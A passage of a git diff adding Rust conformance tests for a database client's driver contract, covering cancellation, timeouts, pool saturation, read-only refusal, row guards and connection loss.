"{}", plaintext.stderr_text()); + Ok(()) +} diff --git a/linux/crates/test-support/Cargo.toml b/linux/crates/test-support/Cargo.toml index 530ad772ac..a49820dec6 100644 --- a/linux/crates/test-support/Cargo.toml +++ b/linux/crates/test-support/Cargo.toml @@ -11,14 +11,17 @@ path = "src/lib.rs" [dependencies] tablepro-core = { path = "../core" } +tablepro-net = { path = "../net" } async-trait.workspace = true secrecy.workspace = true +tempfile.workspace = true uuid.workspace = true futures.workspace = true -tokio = { workspace = true, features = ["sync", "time"] } +tokio = { workspace = true, features = ["io-util", "macros", "net", "rt", "sync", "time"] } +tokio-util.workspace = true [dev-dependencies] -tokio = { workspace = true, features = ["macros", "rt", "test-util"] } +tokio = { workspace = true, features = ["macros", "rt", "rt-multi-thread", "test-util"] } [lints] workspace = true diff --git a/linux/crates/test-support/src/call_counters.rs b/linux/crates/test-support/src/call_counters.rs index 91ae644875..21d1e8a009 100644 --- a/linux/crates/test-support/src/call_counters.rs +++ b/linux/crates/test-support/src/call_counters.rs @@ -1,15 +1,37 @@ use std::sync::Arc; -use std::sync::atomic::AtomicUsize; +use std::sync::atomic::{AtomicUsize, Ordering}; +/// How many times each `Connection` method was called, shared with the +/// test after the connection has been handed to the code under test. #[derive(Debug, Clone, Default)] pub struct CallCounters { - pub list_tables: Arc, + pub probe: Arc, + pub list_schemas: Arc, + pub list_objects: Arc, pub fetch_columns: Arc, - pub fetch_rows: Arc, - pub query: Arc, - pub execute: Arc, - pub execute_params: Arc, - pub execute_in_transaction: Arc, - pub ping: Arc, + pub fetch_indexes: Arc, + pub fetch_foreign_keys: Arc, + pub fetch_table_definition: Arc, + pub row_identity: Arc, + pub table_estimate: Arc, + pub query_bound: Arc, + pub count_rows: Arc, + pub stream_read: Arc, + pub write_batch: Arc, + pub resolve_commit: Arc, + pub open_editor_session: Arc, pub close: Arc, + /// Calls that ended because their cancel or deadline fired, or the + /// connection was closed under them. + pub stopped: Arc, +} + +impl CallCounters { + pub fn get(counter: &AtomicUsize) -> usize { + counter.load(Ordering::SeqCst) + } + + pub(crate) fn record(counter: &AtomicUsize) { + counter.fetch_add(1, Ordering::SeqCst); + } } diff --git a/linux/crates/test-support/src/close_behaviour.rs b/linux/crates/test-support/src/close_behaviour.rs index ce1c406706..7bcef0e481 100644 --- a/linux/crates/test-support/src/close_behaviour.rs +++ b/linux/crates/test-support/src/close_behaviour.rs @@ -7,3 +7,13 @@ pub enum CloseBehaviour { Delay(Duration), Hang, } + +impl CloseBehaviour { + pub(crate) async fn run(self) { + match self { + Self::Immediate => {} + Self::Delay(delay) => tokio::time::sleep(delay).await, + Self::Hang => std::future::pending().await, + } + } +} diff --git a/linux/crates/test-support/src/conformance/bounded_ddl_engine.rs b/linux/crates/test-support/src/conformance/bounded_ddl_engine.rs new file mode 100644 index 0000000000..c60959e2a0 --- /dev/null +++ b/linux/crates/test-support/src/conformance/bounded_ddl_engine.rs @@ -0,0 +1,13 @@ +use std::time::Duration; + +use tablepro_core::TableRef; + +use crate::conformance::ConformanceEngine; + +/// An engine whose statement timeout also stops a schema change, so the +/// suite can prove a schema-change batch runs without it. +pub trait BoundedDdlEngine: ConformanceEngine { + /// A schema change that creates `table` and takes at least + /// `duration`. + fn schema_change_exceeding_sql(&self, table: &TableRef, duration: Duration) -> String; +} diff --git a/linux/crates/test-support/src/conformance/cases/cancellation.rs b/linux/crates/test-support/src/conformance/cases/cancellation.rs new file mode 100644 index 0000000000..9f29d3130a --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/cancellation.rs @@ -0,0 +1,108 @@ +use std::time::Duration; + +use tablepro_core::{EditorSessionOptions, EditorSessionState, RowLimit, RunEnd, RunOptions}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::conformance::support::{ + SCHEDULING_SLACK, connect, expect, no_deadline, run_completed, run_editor, run_options, statement, unexpected, + unique, wait_for_running, writable, +}; +use crate::conformance::{ConformanceEngine, ConformanceFailure, NetworkConformanceEngine, test_liveness}; + +const EDITOR_CASE: &str = "editor_cancel_reports_cancelled_and_session_stays_ready"; +const DROPPED_CASE: &str = "dropped_caller_stops_server_statement"; + +/// Long enough for the statement to reach the server before the case +/// stops it, so the stop is tested rather than a race with sending. +const SETTLE: Duration = Duration::from_millis(500); +const SEEN_LIMIT: Duration = Duration::from_secs(10); + +/// Case 3: cancelling an editor run ends it as cancelled within the +/// cancel grace, and the session takes the next run. +pub async fn editor_cancel_reports_cancelled_and_session_stays_ready() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let grace = test_liveness().cancel_grace + SCHEDULING_SLACK; + let connection = connect(EDITOR_CASE, &engine, writable()).await?; + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await?; + let cancel = CancellationToken::new(); + let unbounded = engine.unbounded_statement_sql(&unique("cancel")); + + let running = async { + let outcome = run_editor(session.as_ref(), &unbounded, RunOptions::new(cancel.clone())).await; + (outcome, Instant::now()) + }; + let cancelling = async { + tokio::time::sleep(SETTLE).await; + cancel.cancel(); + Instant::now() + }; + let ((outcome, finished), cancelled) = tokio::join!(running, cancelling); + let (summary, _) = outcome?; + let after_cancel = finished.saturating_duration_since(cancelled); + + expect(EDITOR_CASE, summary.end == RunEnd::Cancelled, || { + format!("the cancelled run ended {:?}", summary.end) + })?; + expect(EDITOR_CASE, after_cancel <= grace, || { + format!("the run ended {after_cancel:?} after its cancel, past the {grace:?} grace") + })?; + expect(EDITOR_CASE, session.state() == EditorSessionState::Ready, || { + format!("the session is {:?} after a cancel", session.state()) + })?; + run_completed(EDITOR_CASE, session.as_ref(), "SELECT 1", run_options()).await?; + + session.close().await; + connection.close().await?; + Ok(()) +} + +/// Case 4: dropping the caller of a running read stops it on the server +/// too, rather than leaving the server working for nobody. +pub async fn dropped_caller_stops_server_statement() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let bound = test_liveness().cancel_grace + Duration::from_secs(1); + let connection = connect(DROPPED_CASE, &engine, writable()).await?; + // An editor session owns its own connection, so the count never + // waits behind the statement it is counting. + let monitor = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await?; + let marker = unique("dropped"); + let count_sql = engine.running_statement_count_sql(&marker); + let unbounded = statement(&engine.unbounded_statement_sql(&marker)); + + { + let call = connection.query_bound(&unbounded, RowLimit::EDITOR_DEFAULT, no_deadline()); + let seen = wait_for_running( + DROPPED_CASE, + monitor.as_ref(), + &count_sql, + |running| running >= 1, + SEEN_LIMIT, + ); + tokio::select! { + outcome = call => { + return Err(unexpected(DROPPED_CASE, format!("the unbounded read finished on its own: {outcome:?}"))); + } + seen = seen => { + seen?; + } + } + } + wait_for_running( + DROPPED_CASE, + monitor.as_ref(), + &count_sql, + |running| running == 0, + bound, + ) + .await?; + + monitor.close().await; + connection.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/close.rs b/linux/crates/test-support/src/conformance/cases/close.rs new file mode 100644 index 0000000000..40d0bf09f6 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/close.rs @@ -0,0 +1,33 @@ +use tablepro_core::RowLimit; + +use crate::conformance::support::{CALL_DEADLINE, SCHEDULING_SLACK, connect, expect, statement, within, writable}; +use crate::conformance::{ConformanceEngine, ConformanceFailure, test_liveness}; + +const CASE: &str = "close_is_idempotent"; + +/// Case 14: closing twice is fine and quick, and a call after the close +/// fails rather than reopening the pool or hanging. +pub async fn close_is_idempotent() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let liveness = test_liveness(); + let connection = connect(CASE, &engine, writable()).await?; + connection.probe(within(liveness.probe_timeout)).await?; + let close_bound = liveness.close_timeout + liveness.cancel_grace + SCHEDULING_SLACK; + + for attempt in ["first", "second"] { + let closed = tokio::time::timeout(close_bound, connection.close()).await; + expect(CASE, matches!(closed, Ok(Ok(()))), || { + format!("the {attempt} close gave {closed:?} within {close_bound:?}") + })?; + } + let call_bound = liveness.pool_wait + liveness.cancel_grace + SCHEDULING_SLACK; + let after = tokio::time::timeout( + call_bound, + connection.query_bound(&statement("SELECT 1"), RowLimit::EDITOR_DEFAULT, within(CALL_DEADLINE)), + ) + .await; + expect(CASE, matches!(after, Ok(Err(_))), || { + format!("a read after close gave {after:?} within {call_bound:?}") + })?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/deadlines.rs b/linux/crates/test-support/src/conformance/cases/deadlines.rs new file mode 100644 index 0000000000..719f09719f --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/deadlines.rs @@ -0,0 +1,109 @@ +use std::time::Duration; + +use tablepro_core::{DriverError, RowLimit, TimeoutPhase}; +use tokio::time::Instant; + +use crate::conformance::support::{ + CALL_DEADLINE, SCHEDULING_SLACK, connect, expect, statement, unique, within, writable, +}; +use crate::conformance::{ConformanceEngine, ConformanceFailure, test_liveness}; + +const CASE: &str = "query_bound_times_out_within_deadline_plus_cancel_grace"; +const DEADLINE: Duration = Duration::from_secs(1); + +/// Case 2: a read that never finishes returns a statement timeout within +/// its deadline plus the cancel grace, and the connection still works. +pub async fn query_bound_times_out_within_deadline_plus_cancel_grace() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let bound = DEADLINE + test_liveness().cancel_grace + SCHEDULING_SLACK; + let connection = connect(CASE, &engine, writable()).await?; + let unbounded = statement(&engine.unbounded_statement_sql(&unique("deadline"))); + + let started = Instant::now(); + let outcome = connection + .query_bound(&unbounded, RowLimit::EDITOR_DEFAULT, within(DEADLINE)) + .await; + let elapsed = started.elapsed(); + + let timed_out = matches!( + outcome, + Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + .. + }) + ); + expect(CASE, timed_out, || { + format!("expected a statement timeout, got {outcome:?}") + })?; + expect(CASE, elapsed <= bound, || { + format!("the timeout came after {elapsed:?}, past the {bound:?} bound") + })?; + let after = connection + .query_bound(&statement("SELECT 1"), RowLimit::EDITOR_DEFAULT, within(CALL_DEADLINE)) + .await; + expect(CASE, after.is_ok(), || { + format!("SELECT 1 after the timeout gave {after:?}") + })?; + + connection.close().await?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use tablepro_core::QueryResult; + + use super::*; + use crate::conformance::fake_engine::{FakeEngine, FakeScenario}; + use crate::{ConnectionScript, FakeReply}; + + struct Overruns; + + impl FakeScenario for Overruns { + fn script() -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script.query_bound.when_sql_contains( + "UNBOUNDED", + FakeReply::Late { + after: Duration::from_secs(10), + outcome: Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }), + }, + ); + script + } + } + + struct Honours; + + impl FakeScenario for Honours { + fn script() -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script + .query_bound + .when_sql_contains("UNBOUNDED", FakeReply::UntilStopped) + .always(FakeReply::ok(QueryResult::empty())); + script + } + } + + #[tokio::test(start_paused = true)] + async fn deadline_case_fails_when_bound_exceeded() { + let outcome = query_bound_times_out_within_deadline_plus_cancel_grace::>().await; + + assert!( + matches!(&outcome, Err(ConformanceFailure::Expectation { case: CASE, detail }) if detail.contains("past the")), + "{outcome:?}" + ); + } + + #[tokio::test(start_paused = true)] + async fn deadline_case_passes_when_the_driver_stops_at_the_deadline() { + query_bound_times_out_within_deadline_plus_cancel_grace::>() + .await + .unwrap(); + } +} diff --git a/linux/crates/test-support/src/conformance/cases/liveness.rs b/linux/crates/test-support/src/conformance/cases/liveness.rs new file mode 100644 index 0000000000..1d9e373441 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/liveness.rs @@ -0,0 +1,50 @@ +use std::time::Duration; + +use tablepro_core::{ErrorCategory, LinkState, RowLimit}; +use tokio::time::Instant; + +use crate::conformance::support::{CALL_DEADLINE, SCHEDULING_SLACK, dial, expect, statement, within, writable}; +use crate::conformance::{ConformanceFailure, NetworkConformanceEngine, test_liveness}; + +const CASE: &str = "lost_transport_reports_connection_lost"; +const DEADLINE: Duration = Duration::from_secs(1); + +/// Case 12: once the route goes quiet, a read reports the connection +/// lost within its deadline plus the cancel grace, and the link says so +/// to everything watching it. +pub async fn lost_transport_reports_connection_lost() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let liveness = test_liveness(); + let (options, fault) = engine.faulty_connect_options(writable(), liveness).await?; + let connection = dial(CASE, E::driver(), options).await??; + let select = statement("SELECT 1"); + connection + .query_bound(&select, RowLimit::EDITOR_DEFAULT, within(CALL_DEADLINE)) + .await?; + + fault.black_hole(); + let started = Instant::now(); + let outcome = connection + .query_bound(&select, RowLimit::EDITOR_DEFAULT, within(DEADLINE)) + .await; + let elapsed = started.elapsed(); + let bound = DEADLINE + liveness.cancel_grace + SCHEDULING_SLACK; + + let lost = matches!(&outcome, Err(error) if error.category() == ErrorCategory::ConnectionLost); + expect(CASE, lost, || format!("a read over a dropped route gave {outcome:?}"))?; + expect(CASE, elapsed <= bound, || { + format!("the loss was reported after {elapsed:?}, past the {bound:?} bound") + })?; + expect(CASE, connection.link_state() == LinkState::Lost, || { + format!("the link is {:?} after the loss", connection.link_state()) + })?; + let noticed = tokio::time::timeout(liveness.cancel_grace, connection.lost()).await; + expect(CASE, noticed.is_ok(), || { + "lost() did not resolve after the loss".to_owned() + })?; + + // A close over a dead route may fail on its own; what this case + // checks is the loss, already proven above. + drop(connection.close().await); + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/metadata.rs b/linux/crates/test-support/src/conformance/cases/metadata.rs new file mode 100644 index 0000000000..dbac71d19f --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/metadata.rs @@ -0,0 +1,46 @@ +use tablepro_core::meta::{ObjectKind, ObjectScope, RowIdentity}; + +use crate::conformance::support::{CALL_DEADLINE, connect, create_scratch_table, expect, within, writable}; +use crate::conformance::{ConformanceEngine, ConformanceFailure}; + +const CASE: &str = "lists_created_table_with_primary_key_and_unique_identity"; + +/// Case 1: a table the suite creates shows up in the default schema, its +/// key column is marked, and its rows can be named again by that key. +pub async fn lists_created_table_with_primary_key_and_unique_identity() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let connection = connect(CASE, &engine, writable()).await?; + let table = create_scratch_table(&engine, connection.as_ref(), "metadata").await?; + + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL_DEADLINE)) + .await?; + let listed = objects + .iter() + .any(|object| object.name == table.name && object.kind == ObjectKind::Table); + expect(CASE, listed, || format!("{} is not a table in {objects:?}", table.name))?; + + let columns = connection.fetch_columns(&table, within(CALL_DEADLINE)).await?; + let keys: Vec<&str> = columns + .iter() + .filter(|column| column.primary_key) + .map(|column| column.name.as_str()) + .collect(); + expect(CASE, keys == ["id"], || format!("the primary key columns are {keys:?}"))?; + + let identity = connection.row_identity(&table, within(CALL_DEADLINE)).await?; + let names_id = match &identity { + RowIdentity::UniqueKey { columns } => columns.iter().map(String::as_str).eq(["id"]), + // ClickHouse has no unique constraint, so its primary key comes + // back as the sorting key it is, still naming the row by id. + RowIdentity::SortingKey { expressions } => expressions.iter().map(String::as_str).eq(["id"]), + RowIdentity::EngineRowId(_) | RowIdentity::Unordered => false, + }; + expect(CASE, names_id, || { + format!("the row identity {identity:?} does not name id") + })?; + + connection.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/mod.rs b/linux/crates/test-support/src/conformance/cases/mod.rs new file mode 100644 index 0000000000..c8cbc8671b --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/mod.rs @@ -0,0 +1,18 @@ +//! One file per area of the contract. Every case starts its own engine +//! and returns a `ConformanceFailure` rather than panicking. + +pub mod cancellation; +pub mod close; +pub mod deadlines; +pub mod liveness; +pub mod metadata; +pub mod pool; +pub mod read_only; +pub mod row_guards; +pub mod row_limit; +pub mod statement_timeout; +pub mod streaming; +pub mod suite_flags; +pub mod tls; +pub mod type_fallback; +pub mod writes; diff --git a/linux/crates/test-support/src/conformance/cases/pool.rs b/linux/crates/test-support/src/conformance/cases/pool.rs new file mode 100644 index 0000000000..78447e50dd --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/pool.rs @@ -0,0 +1,188 @@ +use std::time::Duration; + +use tablepro_core::{Connection, EditorSessionOptions, ErrorCategory, RowLimit}; +use tokio::task::JoinSet; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::conformance::support::{ + SCHEDULING_SLACK, connect, expect, no_deadline, run_completed, run_options, single_count, statement, unexpected, + unique, within, writable, +}; +use crate::conformance::{ConformanceFailure, NetworkConformanceEngine, PooledConformanceEngine, test_liveness}; + +const CASE: &str = "probe_succeeds_while_every_pool_slot_is_busy"; +const HOLD: Duration = Duration::from_secs(6); +const SATURATION_WINDOW: Duration = Duration::from_secs(2); +const RETRY: Duration = Duration::from_millis(50); + +/// Case 5: with every pool slot running a statement, the probe still +/// answers, because a busy pool is not a dead server. +pub async fn probe_succeeds_while_every_pool_slot_is_busy() -> Result<(), ConformanceFailure> +{ + let engine = E::start().await?; + pool_case(&engine, None).await +} + +/// Case 5 on a network engine, which also asks the server that exactly +/// the pool's size of statements is running. +pub async fn probe_succeeds_while_every_network_pool_slot_is_busy() -> Result<(), ConformanceFailure> +where + E: PooledConformanceEngine + NetworkConformanceEngine, +{ + let engine = E::start().await?; + let count_sql = |marker: &str| engine.running_statement_count_sql(marker); + pool_case(&engine, Some(&count_sql)).await +} + +async fn pool_case( + engine: &E, + count_sql: Option<&(dyn Fn(&str) -> String + Sync)>, +) -> Result<(), ConformanceFailure> { + let liveness = test_liveness(); + let size = E::WORKSPACE_POOL_MAX_SIZE; + let connection = connect(CASE, engine, writable()).await?; + let monitor = match count_sql { + Some(_) => Some( + connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await?, + ), + None => None, + }; + let marker = unique("pool"); + let mut blockers = JoinSet::new(); + for _ in 0..size { + let blocking = statement(&engine.blocking_statement_sql(&marker, HOLD).await?); + let connection = connection.clone(); + blockers.spawn(async move { + connection + .query_bound(&blocking, RowLimit::EDITOR_DEFAULT, no_deadline()) + .await + }); + } + + prove_saturated(connection.as_ref(), size).await?; + if let (Some(monitor), Some(count_sql)) = (&monitor, count_sql) { + let rows = run_completed(CASE, monitor.as_ref(), &count_sql(&marker), run_options()) + .await? + .rows(); + let running = single_count(&rows); + expect(CASE, running == u64::try_from(size).ok(), || { + format!("the server runs {running:?} of the pool's {size} statements") + })?; + } + let started = Instant::now(); + let probed = connection.probe(within(liveness.probe_timeout)).await; + let elapsed = started.elapsed(); + let bound = liveness.probe_timeout + liveness.cancel_grace + SCHEDULING_SLACK; + expect(CASE, probed.is_ok(), || { + format!("the probe of a busy pool gave {probed:?}") + })?; + expect(CASE, elapsed <= bound, || { + format!("the probe took {elapsed:?}, past the {bound:?} bound") + })?; + while let Some(joined) = blockers.join_next().await { + let outcome = joined.map_err(ConformanceFailure::setup)?; + expect(CASE, outcome.is_ok(), || { + format!("a statement holding a pool slot gave {outcome:?}") + })?; + } + + if let Some(monitor) = monitor { + monitor.close().await; + } + connection.close().await?; + Ok(()) +} + +/// Show the pool is full before probing it: one more read must wait out +/// the pool wait and come back busy. A slot can still be free for a +/// moment while the statements reach the server, so a read that runs is +/// retried for a short window rather than failing the case at once. +async fn prove_saturated(connection: &dyn Connection, size: usize) -> Result<(), ConformanceFailure> { + let give_up = Instant::now() + SATURATION_WINDOW; + loop { + let extra = connection + .query_bound(&statement("SELECT 1"), RowLimit::EDITOR_DEFAULT, no_deadline()) + .await; + match extra { + Err(error) if error.category() == ErrorCategory::Busy => return Ok(()), + Ok(_) if Instant::now() < give_up => tokio::time::sleep(RETRY).await, + Ok(_) => { + return Err(unexpected( + CASE, + format!("a read beyond the pool's {size} slots still ran after {SATURATION_WINDOW:?}"), + )); + } + Err(error) => { + return Err(unexpected( + CASE, + format!("a read beyond the pool's {size} slots failed with {error:?}, not Busy"), + )); + } + } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{DriverError, QueryResult}; + + use super::*; + use crate::conformance::fake_engine::{FakeEngine, FakeScenario}; + use crate::{ConnectionScript, FakeReply}; + + fn holding() -> FakeReply { + FakeReply::Bounded { + after: HOLD, + outcome: Ok(QueryResult::empty()), + } + } + + struct NeverFull; + + impl FakeScenario for NeverFull { + fn script() -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script + .query_bound + .when_sql_contains("BLOCK", holding()) + .always(FakeReply::ok(QueryResult::empty())); + script + } + } + + struct FillsUp; + + impl FakeScenario for FillsUp { + fn script() -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script + .query_bound + .when_sql_contains("BLOCK", holding()) + .always(FakeReply::Bounded { + after: test_liveness().pool_wait, + outcome: Err(DriverError::Busy), + }); + script + } + } + + #[tokio::test(start_paused = true)] + async fn pool_case_fails_when_saturation_never_appears() { + let outcome = probe_succeeds_while_every_pool_slot_is_busy::>().await; + + assert!( + matches!(&outcome, Err(ConformanceFailure::Expectation { case: CASE, detail }) if detail.contains("still ran")), + "{outcome:?}" + ); + } + + #[tokio::test(start_paused = true)] + async fn pool_case_passes_when_the_full_pool_reports_busy() { + probe_succeeds_while_every_pool_slot_is_busy::>() + .await + .unwrap(); + } +} diff --git a/linux/crates/test-support/src/conformance/cases/read_only.rs b/linux/crates/test-support/src/conformance/cases/read_only.rs new file mode 100644 index 0000000000..2617442538 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/read_only.rs @@ -0,0 +1,51 @@ +use tablepro_core::{EditorSessionOptions, ErrorCategory, ReadOnlyEnforcement, RunEnd, WorkspaceSettings, WriteKind}; +use tokio_util::sync::CancellationToken; + +use crate::conformance::support::{ + apply, connect, count, create_scratch_table, expect, insert_sql, run_editor, run_options, unique, writable, +}; +use crate::conformance::{ConformanceEngine, ConformanceFailure}; + +const CASE: &str = "read_only_connection_refuses_writes"; + +/// Case 7: a read-only connection refuses a save, and its editor refuses +/// both a row change and a schema change. +pub async fn read_only_connection_refuses_writes() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let owner = connect(CASE, &engine, writable()).await?; + let table = create_scratch_table(&engine, owner.as_ref(), "read_only").await?; + let reader = connect(CASE, &engine, WorkspaceSettings::workspace(true)).await?; + let insert = insert_sql(reader.dialect().as_ref(), &table, 1, "refused"); + + let saved = apply(reader.as_ref(), &table, WriteKind::RowChanges, vec![insert.clone()]).await; + let refused = matches!(&saved, Err(error) if error.category() == ErrorCategory::ReadOnly); + expect(CASE, refused, || { + format!("a save on a read-only connection gave {saved:?}") + })?; + + // Where the login itself cannot write, the server's refusal depends + // on how the test login was granted, so only the app's own guard is + // part of the contract. + if E::driver().capabilities().read_only != ReadOnlyEnforcement::LoginPrivileges { + let session = reader + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await?; + let create = engine.create_scratch_table_sql(&engine.scratch_table(&unique("read_only_create"))); + for sql in [insert, create] { + let (summary, _) = run_editor(session.as_ref(), &sql, run_options()).await?; + let refused = matches!(&summary.end, RunEnd::Failed(error) if error.category() == ErrorCategory::ReadOnly); + expect(CASE, refused, || { + format!("`{sql}` on a read-only session ended {:?}", summary.end) + })?; + } + session.close().await; + } + let rows = count(owner.as_ref(), &table).await?; + expect(CASE, rows == 0, || { + format!("{rows} rows reached a table only a read-only connection wrote to") + })?; + + reader.close().await?; + owner.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/row_guards.rs b/linux/crates/test-support/src/conformance/cases/row_guards.rs new file mode 100644 index 0000000000..6500ded42a --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/row_guards.rs @@ -0,0 +1,58 @@ +use tablepro_core::save::{ChangeSet, RowUpdate, plan_save}; +use tablepro_core::value::Value; +use tablepro_core::{DriverError, WriteKind}; + +use crate::conformance::support::{ + CALL_DEADLINE, apply, connect, count, create_scratch_table, expect, insert_sql, statement, unexpected, within, + writable, +}; +use crate::conformance::{ConformanceEngine, ConformanceFailure}; + +const CASE: &str = "row_guard_mismatch_applies_nothing"; +const MISSING_ID: i64 = 999; + +/// Case 10: a save that edits a row which is no longer there matches no +/// row, and fails on its guard without changing anything. The save is +/// planned the way the grid plans one, so the guard is the one the app +/// would send to this engine. +pub async fn row_guard_mismatch_applies_nothing() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let connection = connect(CASE, &engine, writable()).await?; + let table = create_scratch_table(&engine, connection.as_ref(), "row_guard").await?; + let dialect = connection.dialect(); + let insert = insert_sql(dialect.as_ref(), &table, 1, "kept"); + apply(connection.as_ref(), &table, WriteKind::RowChanges, vec![insert]).await?; + + let columns = connection.fetch_columns(&table, within(CALL_DEADLINE)).await?; + let identity = connection.row_identity(&table, within(CALL_DEADLINE)).await?; + let label = columns + .iter() + .position(|column| column.name == "label") + .ok_or_else(|| ConformanceFailure::setup(format!("the scratch table has no label column: {columns:?}")))?; + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Int(MISSING_ID)], + assignments: vec![(label, Value::Text("changed".to_owned()))], + }], + ..ChangeSet::default() + }; + let plan = plan_save(dialect.as_ref(), &table, &columns, &identity, &changes).map_err(ConformanceFailure::setup)?; + + let outcome = connection.write_batch(&plan.batch, within(CALL_DEADLINE)).await; + if !matches!(outcome, Err(DriverError::RowGuardFailed { actual: 0, .. })) { + return Err(unexpected(CASE, format!("an update of a missing row gave {outcome:?}"))); + } + let table_sql = dialect.qualify(&table); + let kept = format!( + "SELECT {} FROM {table_sql} WHERE {} = 'kept'", + dialect.count_all(), + dialect.quote_identifier("label"), + ); + let unchanged = connection.count_rows(&statement(&kept), within(CALL_DEADLINE)).await?; + let rows = count(connection.as_ref(), &table).await?; + expect(CASE, unchanged == 1 && rows == 1, || { + format!("after the refused update {unchanged} of {rows} rows still read 'kept'") + })?; + connection.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/row_limit.rs b/linux/crates/test-support/src/conformance/cases/row_limit.rs new file mode 100644 index 0000000000..52b8b0d38f --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/row_limit.rs @@ -0,0 +1,50 @@ +use tablepro_core::{EditorSessionOptions, RowLimit, RunEnd, RunOptions, Truncation}; +use tokio_util::sync::CancellationToken; + +use crate::conformance::support::{ + connect, count, create_scratch_table, expect, insert_sql, run_completed, run_editor, run_options, writable, +}; +use crate::conformance::{ConformanceFailure, EditorTransactionEngine}; + +const CASE: &str = "row_limit_keeps_transaction_and_later_statements"; +const KEPT_ROWS: u64 = 100; + +/// Case 6: a run that stops at its row limit inside a transaction keeps +/// the transaction, and what runs after it still commits. +pub async fn row_limit_keeps_transaction_and_later_statements() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let connection = connect(CASE, &engine, writable()).await?; + let table = create_scratch_table(&engine, connection.as_ref(), "row_limit").await?; + let dialect = connection.dialect(); + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await?; + let limit = RowLimit::new(KEPT_ROWS).ok_or_else(|| ConformanceFailure::setup("a row limit of zero"))?; + + for sql in [engine.begin_sql(), insert_sql(dialect.as_ref(), &table, 1, "first")] { + run_completed(CASE, session.as_ref(), &sql, run_options()).await?; + } + let limited = RunOptions::new(CancellationToken::new()).with_row_limit(limit); + let (summary, events) = run_editor(session.as_ref(), &engine.row_source_sql(1_000), limited).await?; + let kept = events.rows().len(); + let truncations = events.truncations(); + expect(CASE, summary.end == RunEnd::Completed, || { + format!("the limited read ended {:?}", summary.end) + })?; + expect(CASE, u64::try_from(kept).ok() == Some(KEPT_ROWS), || { + format!("the limited read kept {kept} rows, not {KEPT_ROWS}") + })?; + expect(CASE, truncations == [Truncation::ReadPastLimit], || { + format!("the limited read finished with {truncations:?}") + })?; + for sql in [insert_sql(dialect.as_ref(), &table, 2, "second"), engine.commit_sql()] { + run_completed(CASE, session.as_ref(), &sql, run_options()).await?; + } + let rows = count(connection.as_ref(), &table).await?; + expect(CASE, rows == 2, || format!("{rows} rows were committed, not 2"))?; + + session.close().await; + connection.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/statement_timeout.rs b/linux/crates/test-support/src/conformance/cases/statement_timeout.rs new file mode 100644 index 0000000000..c528fcf479 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/statement_timeout.rs @@ -0,0 +1,53 @@ +use std::time::Duration; + +use tablepro_core::{DriverError, ErrorCategory, WorkspaceSettings, WriteKind}; +use tokio::time::Instant; + +use crate::conformance::support::{apply, connect, expect, unexpected, unique}; +use crate::conformance::{BoundedDdlEngine, ConformanceFailure}; + +const CASE: &str = "schema_changes_batch_is_not_bounded_by_statement_timeout"; +const STATEMENT_TIMEOUT: Duration = Duration::from_secs(1); +const SCHEMA_CHANGE: Duration = Duration::from_secs(3); + +/// Case 11: the workspace statement timeout stops a slow row change, and +/// the same work saved as a schema change runs to the end. +pub async fn schema_changes_batch_is_not_bounded_by_statement_timeout() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let settings = WorkspaceSettings { + statement_timeout: STATEMENT_TIMEOUT, + ..WorkspaceSettings::workspace(false) + }; + let connection = connect(CASE, &engine, settings).await?; + let bounded = engine.scratch_table(&unique("ddl_bounded")); + let unbounded = engine.scratch_table(&unique("ddl_unbounded")); + + // The row-change run proves the bound is real, so the schema-change + // run below passes for the right reason. + let slow = engine.schema_change_exceeding_sql(&bounded, SCHEMA_CHANGE); + let stopped = apply(connection.as_ref(), &bounded, WriteKind::RowChanges, vec![slow]).await; + let timed_out = match &stopped { + Err(DriverError::RolledBack { source, .. }) => source.category() == ErrorCategory::Timeout, + Err(error) => error.category() == ErrorCategory::Timeout, + Ok(_) => false, + }; + expect(CASE, timed_out, || { + format!( + "a {SCHEMA_CHANGE:?} change saved as row 